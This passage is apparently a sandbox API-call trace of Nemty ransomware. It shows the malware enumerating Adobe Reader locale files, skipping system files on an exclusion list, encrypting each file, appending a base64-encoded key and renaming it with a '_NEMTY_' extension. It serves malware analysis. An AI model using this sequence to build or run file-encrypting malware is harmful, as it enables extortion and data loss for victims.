0x4f9ecb8 [0174.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CZE", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CZE", lpUsedDefaultChar=0x0) returned 9 [0174.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.163] Sleep (dwMilliseconds=0x5) [0174.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b761c90, dwHighDateTime=0x1d561e8)) [0174.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b761c90, dwHighDateTime=0x1d561e8)) [0174.172] GetLastError () returned 0x0 [0174.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.172] GetLastError () returned 0x0 [0174.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.172] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.172] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.173] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.173] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="NcmRoIqjSKzkzXH+GODbjgVM5UNczS6CbIDN6OUI7dxGEOaDklbIIoRCo++cTmTm\r\nw0hMcmIV3YOOe2zKTkJ2Us/j07zZm6nsAgMtdETDP7gDx3pTvejV640ddv/nHXSO\r\nwYOi064xpb3vQfuMMTx9n3AxjqUforciWo8HTqZCXZ3VDfvDsKiI7fc8uuqOidW8\r\nz+hIMSQJJGPA+RsRZR1yaVZxPhokgpAsFcpYueZ1YjgI5lE7pSJyCN+PXsYGdnIn\r\nxqg/vpB2eizTE4DsLIZMWU92yF29+XDs//NTcSgEYuDSixNJxgHBXyJyf//eYKQf\r\nHvoiJVszvTWaiioBBW2QYQ==\r\n", pcchString=0x653e5dc) returned 1 [0174.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.173] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\eBook.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ebook.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.180] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0174.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0174.180] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.180] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0174.182] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.182] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0174.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.182] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0174.182] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.182] CloseHandle (hObject=0x2e8) returned 1 [0174.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0174.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0174.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0174.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.182] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\eBook.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ebook.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\eBook.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ebook.cze._nemty_kgobjgd_")) returned 1 [0174.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0174.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.183] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.CZE", cAlternateFileName="")) returned 1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2=".") returned 1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="..") returned 1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="...") returned 1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="windows") returned -1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="rsa") returned -1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="NTDETECT.COM") returned -1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="ntldr") returned -1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="MSDOS.SYS") returned -1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="IO.SYS") returned -1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="boot.ini") returned 1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="boot.ini") returned 1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="ntuser.dat") returned -1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="desktop.ini") returned 1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="CONFIG.SYS") returned 1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="RECYCLER") returned -1 [0174.183] lstrcmpiW (lpString1="EScript.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.184] lstrcmpiW (lpString1="EScript.CZE", lpString2="bootmgr") returned 1 [0174.184] lstrcmpiW (lpString1="EScript.CZE", lpString2="programdata") returned -1 [0174.184] lstrcmpiW (lpString1="EScript.CZE", lpString2="appdata") returned 1 [0174.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CZE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CZE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CZE", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CZE", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.184] Sleep (dwMilliseconds=0x5) [0174.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b7adf50, dwHighDateTime=0x1d561e8)) [0174.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b7adf50, dwHighDateTime=0x1d561e8)) [0174.212] GetLastError () returned 0x0 [0174.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.212] GetLastError () returned 0x0 [0174.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.212] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.212] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.213] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.213] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="VnvIBz4ZBFX417DynvdRSkthsihbGGzSPFby2G8bo66iu0B65JdwLgKHGqFTjolW\r\n//atvZSW0XRMxekMPcvLyVn2WYac7WSXQrsEmmXfOQ6dYPcjJoVwOVZp+JKQef/1\r\nDmaR1vfKm8fzHsx27H3RPRlA1LCall0pXWFEuWPY1CSq8X4tmD4PkLAOAEXeG/w8\r\n9E8+p1lTy2E8Nj5KXFQBu04Spe8SreGFpzbTYIWNAl9IXfDaEOVSwsHrnuwUefUn\r\nVTlihHzaOvELLnwS4ylfOhOHdVDzvRvBv0y206vOsfwlrd0DKKDYHu3zeVpaQWCt\r\nLjUGFFSBfFaVka5mJinGjQ==\r\n", pcchString=0x653e5dc) returned 1 [0174.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.213] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\EScript.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\escript.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.213] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=39936) returned 1 [0174.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9c00) returned 0x6352c48 [0174.213] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.213] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x9c00, lpOverlapped=0x0) returned 1 [0174.217] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.217] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x9c00, lpOverlapped=0x0) returned 1 [0174.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.217] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=39936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9c00 [0174.217] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.218] CloseHandle (hObject=0x2e8) returned 1 [0174.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.218] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\EScript.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\escript.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\EScript.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\escript.cze._nemty_kgobjgd_")) returned 1 [0174.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.220] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.CZE", cAlternateFileName="")) returned 1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2=".") returned 1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="..") returned 1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="...") returned 1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="windows") returned -1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="rsa") returned -1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="NTDETECT.COM") returned -1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="ntldr") returned -1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="MSDOS.SYS") returned -1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="IO.SYS") returned -1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="boot.ini") returned 1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="boot.ini") returned 1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="ntuser.dat") returned -1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="desktop.ini") returned 1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="CONFIG.SYS") returned 1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="RECYCLER") returned -1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="bootmgr") returned 1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="programdata") returned -1 [0174.220] lstrcmpiW (lpString1="IA32.CZE", lpString2="appdata") returned 1 [0174.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CZE", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0174.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CZE", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CZE", lpUsedDefaultChar=0x0) returned 8 [0174.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CZE", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0174.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CZE", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CZE", lpUsedDefaultChar=0x0) returned 8 [0174.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 